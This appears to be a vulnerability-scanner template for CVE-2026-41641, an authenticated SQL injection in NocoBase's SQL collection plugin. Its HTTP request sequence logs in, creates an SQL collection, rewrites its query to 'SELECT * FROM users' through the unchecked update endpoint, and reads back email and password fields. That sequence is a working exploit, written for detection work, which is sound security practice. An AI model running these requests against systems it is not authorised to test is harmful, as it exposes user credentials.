id: CVE-2026-41641 info: name: NocoBase - SQL Injection author: theamanrawat severity: high description: | NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates. remediation: Upgrade NocoBase to version 2.0.39 or later reference: - https://github.com/advisories/GHSA-wrwh-c28m-9jjh - https://nvd.nist.gov/vuln/detail/CVE-2026-41641 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2026-41641 epss-score: 0.00194 epss-percentile: 0.41135 cwe-id: CWE-89 metadata: max-request: 5 verified: true vendor: nocobase product: nocobase tags: cve,cve2026,sqli,nocobase,sqli,authenticated flow: http(1) && http(2) && http(3) || http(4) variables: name: "{{randstr}}" http: - raw: - | POST /api/auth:signIn HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"account":"{{username}}","password":"{{password}}"} extractors: - type: regex name: token part: body internal: true regex: - '"token":"([^"]+)"' group: 1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' condition: and internal: true - raw: - | POST /api/collections:create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"name":"{{name}}","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"} - | POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"sql":"SELECT * FROM users","fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"}]} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' condition: and internal: true - raw: - | GET /api/{{name}}:list HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "email", "password")' condition: and - method: GET path: - "{{BaseURL}}/api/app:getInfo" extractors: - type: regex name: version part: body regex: - '"version":"(.*?)"' group: 1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "\"dialect\"", "\"version\"")' - 'compare_versions(version, "<2.0.39")' condition: and # digest: 490a00463044022063296c0baf91adca43e8ae719a726f80f1bff9ae83aad169fb88971a98185b25022035a42cc02ff8d89ac41a03a51d9873c79c559ae683761c228c7156e67046e4de:922c64590222798bb761d5b6d8e72950